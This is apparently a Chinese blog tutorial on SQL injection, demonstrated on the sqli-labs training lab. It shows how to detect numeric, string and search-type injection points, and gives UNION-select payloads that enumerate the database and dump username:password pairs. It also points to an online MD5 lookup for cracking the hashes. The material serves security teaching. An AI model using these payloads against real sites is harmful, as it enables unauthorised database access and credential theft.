SQL注入:数字型、字符型、搜索型

一、注入点的判断

    对连接[http://10.0.0.26:8080/Less-2/?id=1]是否是注入点进行判断。

    1、变换id 参数

    当我们变换id 参数(2+1|2-1)的时候,发现同一个页面,页面展现出不同的内容。也就是说,数据库中的内容会回显到网页中来。

 

 

    初步判定,id 参数会带入数据库查询,根据不同的id 查询数据库,得到不同的内容。

    猜测后台执行的SQL 语句大致结构为:

    select * from tbName where id=1;

   

  2、单引号

    (1)[?id=1']

    执行的SQL 主语则变为

    select * from tbName where id=1’;

 

    页面报错,并且报错信息会回显在网页中,报错信息如下

----

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

----

    错误信息提示单引号位置出现错误,那么说明,SQL 语句从头到参数1 都是正确的。也就是说,我们添加的单引号是多余的。

    因此,可以断定参数1 前面没有引号。

    则,此注入点(可能)为数字型注入。

(2)[?id=1']

    执行的SQL 主语则变为

    select * from tbName where id=‘1’’;

 

   页面报错,并且报错信息会回显在网页中,报错信息如下

----

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

----

    错误信息提示单引号位置出现错误,那么说明,SQL 语句从头到参数2 都是错误的。也就是说,我们添加的单引号是多余的。在此则需将后面的’注释掉,才能保证SQL语句正常

    因此,可以断定参数2前面是有引号。

    则,此注入点(可能)为字符注入。

二、数字型注入案例

使用order by语句判断表中的字段数目

http://10.0.0.26:8080/Less-2/?id=1 and 1=2 order by 4

或  ?id=-1  order by 4

 

由此确定字段数目为3

数据库版本

    我们可以讲数字2 用函数[version()]代替,即可得到数据库的版本。

    [?id=1 and 1=2 union select 1,version(),3--+]

    [?id=-1  union select 1,version(),3--+]

 

    数据库版本为5.5.47。

当前数据库名

    [database()]

    [?id=1 and 1=2 union select 1,database(),3 --+]

  或[?id=-1 union select 1,database(),3 --+]

 

数据库中的表

[?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+]

 

    注:再此如果数据库报错,考虑用[hex()] 函数将结果由字符串转化成数字。

   初步判断 管理员帐密有可能保存在users 表中。

表中字段

 [?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+]

 

字段内容

    查询表中记录数

    [?id=1 and 1=2 union select 1,count(*),3 from users --+]

   users 表中只有13条记录。

    

    查询字段内容

    [?id=1 and 1=2 union select 1,concat(username,':',password),3 from users --+]

 

----

    得到的是后台管理员帐密,如果密码是以密文的方式保存在数据库中的。通过观察密文可知,此密文为MD5 密文。可以在线查询,网址为

    [https://www.cmd5.com/],可以忽略加密类型。

----

Dumb:Dumb

三、字符型注入

使用order by语句判断表中的字段数目

http://10.0.0.26:8080/Less-1/?id=1' order by 4 --+

 

由此确定字段数目为3

数据库版本

    我们可以讲数字2 用函数[version()]代替,即可得到数据库的版本。

    [?id=1' and 1=2 union select 1,version(),3--+]

  或  [?id=-1'  union select 1,version(),3--+]

 

    数据库版本为5.5.47。

当前数据库名

    [database()]

    [?id=1' and 1=2 union select 1,database(),3 --+]

数据库中的表

    [?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+]

 

    注:再此如果数据库报错,考虑用[hex()] 函数将结果由字符串转化成数字。

   初步判断 管理员帐密有可能保存在users 表中。

表中字段

[?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+]

 

字段内容

    查询表中记录数

    [?id=1' and 1=2 union select 1,count(*),3 from users --+]

   users 表中只有13条记录。

    

    查询字段内容

    [?id=1' and 1=2 union select 1,concat(username,':',password),3 from users --+]

 

----

    得到的是后台管理员帐密,如果密码是以密文的方式保存在数据库中的。通过观察密文可知,此密文为MD5 密文。可以在线查询,网址为

    [https://www.cmd5.com/],可以忽略加密类型。

----

Dumb:Dumb

其余还有字符型 " 和 ") 以及 ')

 

 

查询语句语句则与数字型相同,查询手法均为联合查询法

四、搜索型注入

搜索型注入判断方式

输入搜索的关键词:keyword',报错的话则大概率存在漏洞

输入搜索的关键词:keyword%,报错的话则大概率存在漏洞

输入搜索的关键词:keyword % 'and 1=1 and'%'=',看返回情况

输入搜索的关键词:keyword % 'and 1=2 and'%'=',看返回情况

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值